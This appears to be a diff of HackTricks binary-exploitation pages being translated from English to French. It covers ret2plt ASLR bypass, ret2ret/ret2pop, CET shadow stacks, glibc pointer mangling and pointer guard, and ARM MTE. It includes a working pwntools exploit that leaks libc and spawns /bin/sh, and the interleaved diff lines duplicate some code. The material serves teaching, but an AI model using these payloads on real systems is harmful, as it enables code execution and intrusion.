Cela peut être fait avec un payload `pwntools` tel que ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
```python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
```
Notez comment **`puts`** (utilisant l'adresse du PLT) est appelé avec l'adresse de `puts` située dans le GOT (Global Offset Table). Cela est dû au fait qu'au moment où `puts` imprime l'entrée du GOT de puts, cette **entrée contiendra l'adresse exacte de `puts` en mémoire**.
Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**.
Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid).
Notez également comment l'adresse de `main` est utilisée dans l'exploit, de sorte que lorsque `puts` termine son exécution, le **binaire appelle à nouveau `main` au lieu de sortir** (de sorte que l'adresse divulguée reste valide).
> [!CAUTION]
> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first.
You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**:
> Notez que pour que cela fonctionne, le **binaire ne peut pas être compilé avec PIE** ou vous devez avoir **trouvé une fuite pour contourner PIE** afin de connaître l'adresse du PLT, du GOT et de main. Sinon, vous devez d'abord contourner PIE.
Vous pouvez trouver un [**exemple complet de ce contournement ici**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). C'était l'exploit final de cet **exemple** :
```python
from pwn import *
@ -46,10 +43,10 @@ p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
## Other examples & References
## Autres exemples & Références
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64 bits, ASLR activé mais pas de PIE, la première étape consiste à remplir un débordement jusqu'au byte 0x00 du canary pour ensuite appeler puts et leaker. Avec le canary, un gadget ROP est créé pour appeler puts afin de leaker l'adresse de puts depuis le GOT et un gadget ROP pour appeler `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
- 64 bits, ASLR activé, pas de canary, débordement de pile dans main depuis une fonction enfant. Gadget ROP pour appeler puts afin de leaker l'adresse de puts depuis le GOT et ensuite appeler un one gadget.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,29 +4,29 @@
## Ret2ret
The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**.
Le **principal objectif** de cette technique est d'essayer de **contourner l'ASLR en abusant d'un pointeur existant dans la pile**.
Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte).
En gros, les débordements de pile sont généralement causés par des chaînes, et **les chaînes se terminent par un octet nul à la fin** en mémoire. Cela permet d'essayer de réduire l'emplacement pointé par un pointeur existant déjà dans la pile. Donc, si la pile contenait `0xbfffffdd`, ce débordement pourrait le transformer en `0xbfffff00` (notez le dernier octet mis à zéro).
If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached.
Si cette adresse pointe vers notre shellcode dans la pile, il est possible de faire en sorte que le flux atteigne cette adresse en **ajoutant des adresses à l'instruction `ret`** jusqu'à ce que celle-ci soit atteinte.
Therefore the attack would be like this:
Par conséquent, l'attaque serait comme suit :
- NOP sled
- Shellcode
- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled)
- 0x00 added by the string modifying an address from the stack making it point to the NOP sled
- Écraser la pile depuis l'EIP avec **des adresses vers `ret`** (RET sled)
- 0x00 ajouté par la chaîne modifiant une adresse de la pile pour la faire pointer vers le NOP sled
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit.
En suivant [**ce lien**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c), vous pouvez voir un exemple d'un binaire vulnérable et [**dans celui-ci**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) l'exploit.
## Ret2pop
In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop <reg>; ret`**.\
This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change.
Dans le cas où vous pouvez trouver un **pointeur parfait dans la pile que vous ne voulez pas modifier** (dans `ret2ret`, nous changeons le dernier octet le plus bas en `0x00`), vous pouvez effectuer la même attaque `ret2ret`, mais la **longueur du RET sled doit être réduite de 1** (de sorte que le dernier `0x00` écrase les données juste avant le pointeur parfait), et la **dernière** adresse du RET sled doit pointer vers **`pop <reg>; ret`**.\
De cette façon, les **données avant le pointeur parfait seront supprimées** de la pile (ce sont les données affectées par le `0x00`) et le **dernier `ret` pointera vers l'adresse parfaite** dans la pile sans aucun changement.
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit.
En suivant [**ce lien**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c), vous pouvez voir un exemple d'un binaire vulnérable et [**dans celui-ci**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) l'exploit.
## References
## Références
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md)

View File

@ -4,22 +4,22 @@
## Control Flow Enforcement Technology (CET)
**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action.
**CET** est une fonctionnalité de sécurité mise en œuvre au niveau matériel, conçue pour contrer les attaques courantes de détournement de flux de contrôle telles que **Return-Oriented Programming (ROP)** et **Jump-Oriented Programming (JOP)**. Ces types d'attaques manipulent le flux d'exécution d'un programme pour exécuter du code malveillant ou pour enchaîner des morceaux de code bénin de manière à effectuer une action malveillante.
CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**.
CET introduit deux fonctionnalités principales : **Indirect Branch Tracking (IBT)** et **Shadow Stack**.
- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations.
- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow.
- **IBT** garantit que les sauts et appels indirects sont effectués vers des cibles valides, qui sont explicitement marquées comme destinations légales pour les branches indirectes. Cela est réalisé grâce à l'utilisation d'un nouvel ensemble d'instructions qui marque les cibles valides, empêchant ainsi les attaquants de détourner le flux de contrôle vers des emplacements arbitraires.
- **Shadow Stack** est un mécanisme qui fournit une intégrité pour les adresses de retour. Il conserve une copie sécurisée et cachée des adresses de retour séparée de la pile d'appels normale. Lorsqu'une fonction retourne, l'adresse de retour est validée par rapport à la pile d'ombre, empêchant les attaquants d'écraser les adresses de retour sur la pile pour détourner le flux de contrôle.
## Shadow Stack
The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks.
La **shadow stack** est une **pile dédiée uniquement au stockage des adresses de retour**. Elle fonctionne en parallèle avec la pile normale mais est protégée et cachée de l'exécution normale du programme, rendant difficile pour les attaquants de la manipuler. L'objectif principal de la shadow stack est de garantir que toute modification des adresses de retour sur la pile conventionnelle soit détectée avant qu'elles ne puissent être utilisées, atténuant ainsi efficacement les attaques ROP.
## How CET and Shadow Stack Prevent Attacks
## Comment CET et Shadow Stack Préventent les Attaques
**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code.
Les **attaques ROP et JOP** s'appuient sur la capacité à détourner le flux de contrôle d'une application en exploitant des vulnérabilités qui leur permettent d'écraser des pointeurs ou des adresses de retour sur la pile. En dirigeant le flux vers des séquences de gadgets de code existants ou de gadgets de programmation orientée retour, les attaquants peuvent exécuter du code arbitraire.
- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary.
- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding.
- La fonctionnalité **IBT** de **CET** rend ces attaques considérablement plus difficiles en garantissant que les branches indirectes ne peuvent sauter qu'à des adresses qui ont été explicitement marquées comme cibles valides. Cela rend impossible pour les attaquants d'exécuter des gadgets arbitraires dispersés dans le binaire.
- La **shadow stack**, en revanche, garantit que même si un attaquant peut écraser une adresse de retour sur la pile normale, la **discrépance sera détectée** lors de la comparaison de l'adresse corrompue avec la copie sécurisée stockée dans la shadow stack lors du retour d'une fonction. Si les adresses ne correspondent pas, le programme peut se terminer ou prendre d'autres mesures de sécurité, empêchant ainsi l'attaque de réussir.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,82 +1,82 @@
# Libc Protections
# Protections Libc
{{#include ../../banners/hacktricks-training.md}}
## Chunk Alignment Enforcement
## Application de l'Alignement des Chunks
**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin.
**Malloc** alloue de la mémoire en **groupes de 8 octets (32 bits) ou 16 octets (64 bits)**. Cela signifie que la fin des chunks dans les systèmes 32 bits doit s'aligner avec **0x8**, et dans les systèmes 64 bits avec **0x0**. La fonctionnalité de sécurité vérifie que chaque chunk **s'aligne correctement** à ces emplacements spécifiques avant d'utiliser un pointeur d'un bin.
### Security Benefits
### Avantages Sécuritaires
The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully.
L'application de l'alignement des chunks dans les systèmes 64 bits améliore considérablement la sécurité de Malloc en **limitant le placement de faux chunks à seulement 1 sur 16 adresses**. Cela complique les efforts d'exploitation, en particulier dans les scénarios où l'utilisateur a un contrôle limité sur les valeurs d'entrée, rendant les attaques plus complexes et plus difficiles à exécuter avec succès.
- **Fastbin Attack on \_\_malloc_hook**
- **Attaque Fastbin sur \_\_malloc_hook**
The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security.
Les nouvelles règles d'alignement dans Malloc contrecarrent également une attaque classique impliquant le `__malloc_hook`. Auparavant, les attaquants pouvaient manipuler les tailles de chunks pour **écraser ce pointeur de fonction** et obtenir **l'exécution de code**. Maintenant, l'exigence stricte d'alignement garantit que de telles manipulations ne sont plus viables, fermant une voie d'exploitation courante et améliorant la sécurité globale.
## Pointer Mangling on fastbins and tcache
## Mangling de Pointeur sur fastbins et tcache
**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**).
**Mangling de Pointeur** est une amélioration de sécurité utilisée pour protéger les **pointeurs Fd de fastbin et tcache** dans les opérations de gestion de mémoire. Cette technique aide à prévenir certains types de tactiques d'exploitation de mémoire, spécifiquement celles qui ne nécessitent pas d'informations de mémoire divulguées ou qui manipulent directement les emplacements de mémoire par rapport à des positions connues (écritures **relatives**).
The core of this technique is an obfuscation formula:
Le cœur de cette technique est une formule d'obfuscation :
**`New_Ptr = (L >> 12) XOR P`**
- **L** is the **Storage Location** of the pointer.
- **P** is the actual **fastbin/tcache Fd Pointer**.
- **L** est la **Localisation de Stockage** du pointeur.
- **P** est le **pointeur Fd fastbin/tcache** réel.
The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits.
La raison du décalage binaire de la localisation de stockage (L) de 12 bits vers la droite avant l'opération XOR est critique. Cette manipulation traite une vulnérabilité inhérente à la nature déterministe des 12 bits de poids faible des adresses mémoire, qui sont généralement prévisibles en raison des contraintes d'architecture système. En décalant les bits, la portion prévisible est déplacée hors de l'équation, augmentant l'aléatoire du nouveau pointeur manglé et protégeant ainsi contre les exploits qui s'appuient sur la prévisibilité de ces bits.
This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process.
Ce pointeur manglé tire parti de l'aléatoire existant fourni par **Address Space Layout Randomization (ASLR)**, qui randomise les adresses utilisées par les programmes pour rendre difficile pour les attaquants de prédire la disposition mémoire d'un processus.
**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers.
**Démangling** du pointeur pour récupérer l'adresse originale implique d'utiliser la même opération XOR. Ici, le pointeur manglé est traité comme P dans la formule, et lorsqu'il est XORé avec la localisation de stockage (L) inchangée, cela révèle le pointeur original. Cette symétrie dans le mangling et le démangling garantit que le système peut encoder et décoder efficacement les pointeurs sans surcharge significative, tout en augmentant considérablement la sécurité contre les attaques qui manipulent les pointeurs de mémoire.
### Security Benefits
### Avantages Sécuritaires
Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways:
Le mangling de pointeur vise à **prévenir les écrasements partiels et complets de pointeur dans la gestion de heap**, une amélioration significative de la sécurité. Cette fonctionnalité impacte les techniques d'exploitation de plusieurs manières :
1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success.
2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier.
3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses.
4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints.
1. **Prévention des Écritures Relatives par Octet** : Auparavant, les attaquants pouvaient changer une partie d'un pointeur pour **rediriger les chunks de heap vers différentes localisations sans connaître les adresses exactes**, une technique évidente dans l'exploitation sans fuite **House of Roman**. Avec le mangling de pointeur, de telles écritures relatives **sans fuite de heap nécessitent maintenant un bruteforce**, réduisant considérablement leur probabilité de succès.
2. **Difficulté Accrue des Attaques Tcache Bin/Fastbin** : Les attaques courantes qui écrasent les pointeurs de fonction (comme `__malloc_hook`) en manipulant les entrées fastbin ou tcache sont entravées. Par exemple, une attaque pourrait impliquer de divulguer une adresse LibC, de libérer un chunk dans le bin tcache, puis d'écraser le pointeur Fd pour le rediriger vers `__malloc_hook` pour une exécution de code arbitraire. Avec le mangling de pointeur, ces pointeurs doivent être correctement manglés, **nécessitant une fuite de heap pour une manipulation précise**, augmentant ainsi la barrière d'exploitation.
3. **Exigence de Fuites de Heap dans des Localisations Non-Heap** : Créer un faux chunk dans des zones non-heap (comme la pile, la section .bss, ou PLT/GOT) nécessite également **une fuite de heap** en raison de la nécessité de mangling de pointeur. Cela étend la complexité d'exploitation de ces zones, similaire à l'exigence de manipulation des adresses LibC.
4. **Les Fuites d'Adresses de Heap Devenant Plus Difficiles** : Le mangling de pointeur restreint l'utilité des pointeurs Fd dans les bins fastbin et tcache comme sources de fuites d'adresses de heap. Cependant, les pointeurs dans les bins non triés, petits et grands restent non manglés, donc toujours utilisables pour des fuites d'adresses. Ce changement pousse les attaquants à explorer ces bins pour des informations exploitables, bien que certaines techniques puissent encore permettre de démangler les pointeurs avant une fuite, bien que sous contraintes.
### **Demangling Pointers with a Heap Leak**
### **Démangling des Pointeurs avec une Fuite de Heap**
> [!CAUTION]
> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088).
> Pour une meilleure explication du processus [**consultez le post original ici**](https://maxwelldulin.com/BlogPost?post=5445977088).
### Algorithm Overview
### Aperçu de l'Algorithme
The formula used for mangling and demangling pointers is:&#x20;
La formule utilisée pour le mangling et le démangling des pointeurs est :&#x20;
**`New_Ptr = (L >> 12) XOR P`**
Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves.
**L** est la localisation de stockage et **P** est le pointeur Fd. Lorsque **L** est décalé vers la droite de 12 bits, il expose les bits les plus significatifs de **P**, en raison de la nature de **XOR**, qui produit 0 lorsque les bits sont XORés avec eux-mêmes.
**Key Steps in the Algorithm:**
**Étapes Clés de l'Algorithme :**
1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged.
2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer.
3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered.
4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process.
1. **Fuite Initiale des Bits les Plus Significatifs** : En XORant le **L** décalé avec **P**, vous obtenez effectivement les 12 bits supérieurs de **P** car la portion décalée de **L** sera zéro, laissant les bits correspondants de **P** inchangés.
2. **Récupération des Bits de Pointeur** : Puisque XOR est réversible, connaître le résultat et l'un des opérandes vous permet de calculer l'autre opérande. Cette propriété est utilisée pour déduire l'ensemble des bits pour **P** en XORant successivement des ensembles de bits connus avec des parties du pointeur manglé.
3. **Démangling Itératif** : Le processus est répété, chaque fois en utilisant les nouveaux bits découverts de **P** de l'étape précédente pour décoder le segment suivant du pointeur manglé, jusqu'à ce que tous les bits soient récupérés.
4. **Gestion des Bits Déterministes** : Les 12 derniers bits de **L** sont perdus en raison du décalage, mais ils sont déterministes et peuvent être reconstruits après le processus.
You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
Vous pouvez trouver une implémentation de cet algorithme ici : [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
## Pointer Guard
## Protection de Pointeur
Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers.
La protection de pointeur est une technique d'atténuation des exploits utilisée dans glibc pour protéger les pointeurs de fonction stockés, en particulier ceux enregistrés par des appels de bibliothèque tels que `atexit()`. Cette protection implique de brouiller les pointeurs en les XORant avec un secret stocké dans les données du thread (`fs:0x30`) et en appliquant une rotation binaire. Ce mécanisme vise à empêcher les attaquants de détourner le flux de contrôle en écrasant les pointeurs de fonction.
### **Bypassing Pointer Guard with a leak**
### **Contournement de la Protection de Pointeur avec une fuite**
1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`.
2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling.
3. **Exploiting Known Plaintexts:**
- **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers.
- **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function.
4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps.
5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations.
1. **Compréhension des Opérations de Protection de Pointeur :** Le brouillage (mangling) des pointeurs est effectué à l'aide de la macro `PTR_MANGLE` qui XOR le pointeur avec un secret de 64 bits et effectue ensuite une rotation à gauche de 0x11 bits. L'opération inverse pour récupérer le pointeur original est gérée par `PTR_DEMANGLE`.
2. **Stratégie d'Attaque :** L'attaque est basée sur une approche de texte clair connu, où l'attaquant doit connaître à la fois les versions originales et manglées d'un pointeur pour déduire le secret utilisé pour le mangling.
3. **Exploitation des Textes Clairs Connus :**
- **Identification des Pointeurs de Fonction Fixes :** En examinant le code source de glibc ou les tables de pointeurs de fonction initialisées (comme `__libc_pthread_functions`), un attaquant peut trouver des pointeurs de fonction prévisibles.
- **Calcul du Secret :** En utilisant un pointeur de fonction connu tel que `__pthread_attr_destroy` et sa version manglée de la table de pointeurs de fonction, le secret peut être calculé en faisant une rotation inverse (rotation à droite) du pointeur manglé, puis en le XORant avec l'adresse de la fonction.
4. **Textes Clairs Alternatifs :** L'attaquant peut également expérimenter avec le mangling de pointeurs avec des valeurs connues comme 0 ou -1 pour voir si cela produit des motifs identifiables en mémoire, révélant potentiellement le secret lorsque ces motifs sont trouvés dans des dumps mémoire.
5. **Application Pratique :** Après avoir calculé le secret, un attaquant peut manipuler les pointeurs de manière contrôlée, contournant essentiellement la protection de la Protection de Pointeur dans une application multithreadée avec connaissance de l'adresse de base de libc et la capacité de lire des emplacements mémoire arbitraires.
## References
## Références
- [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088)
- [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1)

View File

@ -1,83 +1,81 @@
# Memory Tagging Extension (MTE)
# Extension de Tagging de Mémoire (MTE)
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de Base
**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code.
**L'Extension de Tagging de Mémoire (MTE)** est conçue pour améliorer la fiabilité et la sécurité des logiciels en **détectant et en prévenant les erreurs liées à la mémoire**, telles que les débordements de tampon et les vulnérabilités d'utilisation après libération. MTE, en tant que partie de l'**architecture ARM**, fournit un mécanisme pour attacher un **petit tag à chaque allocation de mémoire** et un **tag correspondant à chaque pointeur** référencant cette mémoire. Cette approche permet de détecter les accès mémoire illégaux à l'exécution, réduisant ainsi considérablement le risque d'exploiter de telles vulnérabilités pour exécuter du code arbitraire.
### **How Memory Tagging Extension Works**
### **Comment Fonctionne l'Extension de Tagging de Mémoire**
MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size.&#x20;
MTE fonctionne en **divisant la mémoire en petits blocs de taille fixe, chaque bloc se voyant attribuer un tag,** généralement de quelques bits de taille.&#x20;
When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block.
Lorsqu'un pointeur est créé pour pointer vers cette mémoire, il reçoit le même tag. Ce tag est stocké dans les **bits inutilisés d'un pointeur mémoire**, liant efficacement le pointeur à son bloc de mémoire correspondant.
<figure><img src="../../images/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.**
Lorsqu'un programme accède à la mémoire via un pointeur, le matériel MTE vérifie que le **tag du pointeur correspond au tag du bloc de mémoire**. Si les tags **ne correspondent pas**, cela indique un **accès mémoire illégal.**
### MTE Pointer Tags
### Tags de Pointeur MTE
Tags inside a pointer are stored in 4 bits inside the top byte:
Les tags à l'intérieur d'un pointeur sont stockés en 4 bits à l'intérieur du byte supérieur :
<figure><img src="../../images/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
Therefore, this allows up to **16 different tag values**.
Par conséquent, cela permet jusqu'à **16 valeurs de tag différentes**.
### MTE Memory Tags
### Tags de Mémoire MTE
Every **16B of physical memory** have a corresponding **memory tag**.
Chaque **16B de mémoire physique** a un **tag de mémoire** correspondant.
The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM.
ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory:
Les tags de mémoire sont stockés dans une **région RAM dédiée** (non accessible pour un usage normal). Avoir des tags de 4 bits pour chaque tag de 16B de mémoire jusqu'à 3% de la RAM.
ARM introduit les instructions suivantes pour manipuler ces tags dans la mémoire RAM dédiée :
```
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
